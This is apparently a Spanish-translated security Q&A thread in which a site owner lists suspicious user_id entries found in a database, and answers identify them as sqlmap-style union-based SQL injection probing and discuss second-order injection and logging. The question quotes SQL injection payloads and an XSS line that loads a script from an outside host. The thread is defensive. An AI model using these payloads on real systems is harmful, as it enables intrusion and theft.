¿Es este un ataque de inyección SQL o es algún tipo de error?

70

Estaba revisando algunos datos en nuestra base de datos cuando encontré un montón de entradas user_id extrañas:

user_id
-1080) ORDER BY 1#
-1149 UNION ALL SELECT 79,79,79,79,79,79,79,79,79#
-1359' UNION ALL SELECT 79,79,79,79,79,79,79,79,79,79-- JwSh
-1409' ORDER BY 2678#
-1480' UNION ALL SELECT 79,79,79#
-1675 UNION ALL SELECT 79,79,79#
-1760 UNION ALL SELECT 79,79,79,79,79,79,79-- znFh
-1817 UNION ALL SELECT 79,79,79,79,79,79#
-1841 UNION ALL SELECT 79,79,79,79,79,79,79,79,79-- WiHF
-2265) UNION ALL SELECT 79,79,79,79,79,79#
-2365 UNION ALL SELECT 79,79,79,79,79,79,79#
-2387%' UNION ALL SELECT 79,79,79,79,79-- PHug
-2535') UNION ALL SELECT 79,79,79,79,79,79#
-2670%' ORDER BY 1#
-2847 ORDER BY 2974-- vCjk
-2922%' UNION ALL SELECT 79,79,79-- PgNW
-3097%' UNION ALL SELECT 79,79,79,79,79,79,79-- vJzG
-3675 UNION ALL SELECT 79,79,79#

No parece que se esté intentando algo malicioso, por lo que una parte de mí piensa que esto podría haber sido causado por algún tipo de error, pero nuevamente es bastante sospechoso ver SQL dentro de las entradas de datos.

¿Qué podría estar tratando de hacer?

Aquí hay algunos ejemplos más que encontré que pueden ser interesantes:

"><script src=http://xs7x.win/yRjYja></script>JSON #36*
"><script src=http://xs7x.win/yRjYja></script>JSON #98*
(SELECT CONCAT(0x717a627071,(SELECT (ELT(2849=2849,1))),0x716b627871))
    
pregunta turnip 29.09.2017 - 11:54
fuente

3 respuestas

42

Eche un vistazo a los ataques de SQL "Inyección de Unión" como los encontrados aquí .

Básicamente, se están intentando varios métodos para identificar la cantidad de columnas en la consulta, buscando una que sea exitosa. Las líneas order by intentan detectar la diferencia entre los datos ordenados por columnas específicas y un error causado por el intento de ordenar por una columna inexistente, mientras que los select unos están intentando que funcione un comando UNION válido: esto solo funciona cuando las dos consultas que se combinan en una unión tienen el mismo número de columnas.

A partir de las letras aleatorias al final de algunas de las líneas, es probable que haya alguien que esté ejecutando la herramienta sqlmap en su formulario, pero el hecho de que las haya encontrado en su base de datos es algo positivo: sugiere que el intento falló. , aunque es posible que solo sean partes fallidas de un ataque exitoso.

    
respondido por el Matthew 29.09.2017 - 12:13
fuente
83

Este es el resultado de alguien que intenta explotar una inyección de SQL en su sitio. Alguien intentó detectar si su sitio web era vulnerable a una basado en la unión inyección . Para todos los registros que ve, no parece haber funcionado.

Debe verificar su acceso y los registros de errores para ver el período de tiempo afectado para ver si se realizaron más solicitudes.

Una cosa sospechosa que noté es que no veo ninguna entrada que contenga comillas dobles (") que pueda indicar que rompieron la funcionalidad del sitio o una inyección que usa comillas dobles trabajadas contra su sitio.

Es posible que desee verificar el código fuente relevante para ver si se realizó la correcta desinfección de los valores de los parámetros. Esto también podría explicarse si alguna otra parte de su configuración bloqueó las solicitudes con comillas dobles o inyecciones con ellas simplemente no se intentaron.

    
respondido por el Denis 29.09.2017 - 12:08
fuente
30

Además de las buenas respuestas ya dadas, que indican que probablemente son signos de intentos fallidos , me gustaría agregar que estas identificaciones de usuario pueden ser parte de un exitoso / em> inyección.

Esto no es puramente teórico. Me he encontrado con situaciones en las que los resultados de una consulta de selección se utilizan sin la validación de entrada adecuada en una segunda consulta. El desarrollador solo puede validar la entrada directa del usuario y (erróneamente) asumir que cualquier cosa proveniente de de la base de datos es segura. Entonces, hasta que se almacenan estos valores de identificación de usuario, nada está mal, pero en las consultas subsiguientes ocurre la magia. Especialmente peligrosos son los campos de enteros que se convierten en cadenas, ya que los enteros a menudo se usan sin escape o comillas.

Nota al margen: es muy efectivo registrar / notificar todas y cada una de las consultas que fallan, ya que es casi imposible hacer una inyección en un sistema desconocido sin provocar al menos algunos errores. Aparte de esto, ninguna consulta debería fallar (como en: error de sintaxis) en un sistema de producción.

    
respondido por el mvds 30.09.2017 - 10:08
fuente

Lea otras preguntas en las etiquetas